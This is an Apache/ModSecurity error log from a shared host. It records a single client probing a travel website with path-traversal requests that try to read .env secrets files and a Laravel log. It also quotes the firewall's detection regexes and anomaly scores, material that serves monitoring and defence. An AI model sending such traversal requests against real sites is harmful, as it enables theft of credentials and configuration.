[Fri Jul 17 08:55:07.278699 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../storage/logs/laravel.log&ts=l9wvjevfgkhnwhg3lhtdtoevzuf4v_kzlovkuuw77tdijpgspkspc4fvxdc--gyplvfnnpxsp20eox1phhehbkpcjbspo5t43itm5cxehiw2whspinpbymlrydvyege7ldef2pv4-cahjxso3zkhquttas5sauf8xwm4ymmwbulwlmds9w2bqaxcx9rihohxv3j-urcplzxy4ykqkapakipxnk4vlalzboxzb3p5ijp4yczt757nnfqpaqxyyz9wa4hrztvz5nfk4dqxrlxeren7&ref=eb4bmny7odfmnlgoj6jkzhjpah2tv2pu4zsvtrtsnpogsqsz4coi4n7nccfbs4tgnoipjokp4jbwnbxoxwwc6jaj6ef7dbr2q5dvvvk5hfe2qlx2hqjt2x2scm5d2k2tcige26xc..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.278726 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.278754 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.279945 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.280126 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.280487 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt26wAAACM"]
[Fri Jul 17 08:55:07.286034 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27AAAACM"]
[Fri Jul 17 08:55:07.286089 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27AAAACM"]
[Fri Jul 17 08:55:07.287264 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27AAAACM"]
[Fri Jul 17 08:55:07.287409 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.287742 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt27AAAACM"]
[Fri Jul 17 08:55:07.295159 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27QAAACM"]
[Fri Jul 17 08:55:07.295206 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27QAAACM"]
[Fri Jul 17 08:55:07.296355 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27QAAACM"]
[Fri Jul 17 08:55:07.296484 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.296782 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt27QAAACM"]
[Fri Jul 17 08:55:07.299193 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUAAAABs"]
[Fri Jul 17 08:55:07.299260 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUAAAABs"]
[Fri Jul 17 08:55:07.300431 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBUAAAABs"]
[Fri Jul 17 08:55:07.300565 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.300860 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBUAAAABs"]
[Fri Jul 17 08:55:07.302307 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2F.env&ts=Rvg1-RHwegD6qOj_Xl4eMGtl2n9OoEaXv4_rV9-yCOXz0sgaye4gCSK5BGj-p3WoYhiGaE8ncMGlMb-rsp-lsF3guxkHcCEyOJyjz6JnBnnE4AnowffMjwjL-NU0_yXeXgbNvty66QQVoeybKJCt8BI1fWdCrCkH4WWi_raDe3aYqqNBd99LoP4teyAM0agewIT3G2IJnvzy14ufro1TVv6Bwlpe75YqPt8RqBRMfMmK4uLbdw4gEphiI5eDfrDu0yuP_PZdAaqgX0qy_Gl2OdBq&sid=26EPL2GD4PT4ZWNABQVWOFCSMZYVRVLA7YIZBXJUSF333Y7XAD2IBN33OAVXRNU4UPELKV6YZC3HBC2SSHDUCXCX43HXXRX5KHPJBDQGRRQ7OKIQX5XM6KDV3QQ7EECMWDANIS6372KNOQ3FJS7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.302336 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27gAAACM"]
[Fri Jul 17 08:55:07.302346 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.302393 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27gAAACM"]
[Fri Jul 17 08:55:07.302429 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../.env&ts=Rvg1-RHwegD6qOj_Xl4eMGtl2n9OoEaXv4_rV9-yCOXz0sgaye4gCSK5BGj-p3WoYhiGaE8ncMGlMb-rsp-lsF3guxkHcCEyOJyjz6JnBnnE4AnowffMjwjL-NU0_yXeXgbNvty66QQVoeybKJCt8BI1fWdCrCkH4WWi_raDe3aYqqNBd99LoP4teyAM0agewIT3G2IJnvzy14ufro1TVv6Bwlpe75YqPt8RqBRMfMmK4uLbdw4gEphiI5eDfrDu0yuP_PZdAaqgX0qy_Gl2OdBq&sid=26EPL2GD4PT4ZWNABQVWOFCSMZYVRVLA7YIZBXJUSF333Y7XAD2IBN33OAVXRNU4UPELKV6YZC3HBC2SSHDUCXCX43HXXRX5KHPJBDQGRRQ7OKIQX5XM6KDV3QQ7EECMWDANIS6372KNOQ3FJS7AQBYKULBSLZV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.302463 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../.env&ts=rvg1-rhwegd6qoj_xl4emgtl2n9ooeaxv4_rv9-ycoxz0sgaye4gcsk5bgj-p3woyhigae8ncmglmb-rsp-lsf3guxkhcceyojyjz6jnbnne4anowffmjwjl-nu0_yxexgbnvty66qqvoeybkjct8bi1fwdcrckh4wwi_rade3ayqqnbd99lop4teyam0agewit3g2ijnvzy14ufro1tvv6bwlpe75yqpt8rqbrmfmmk4ulbdw4gephii5edfrdu0yup_pzdaaqgx0qy_gl2odbq&sid=26epl2gd4pt4zwnabqvwofcsmzyvrvla7yizbxjusf333y7xad2ibn33oavxrnu4upelkv6yzc3hbc2sshducxcx43hxxrx5khpjbdqgrrq7okiqx5xm6kdv3qq7eecmwdanis6372knoq3fjs7aqbykulbslzv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.302490 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.302508 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.303520 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27gAAACM"]
[Fri Jul 17 08:55:07.303652 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.303684 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
[Fri Jul 17 08:55:07.303783 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.303948 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt27gAAACM"]
[Fri Jul 17 08:55:07.304063 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlIwAAAA0"]
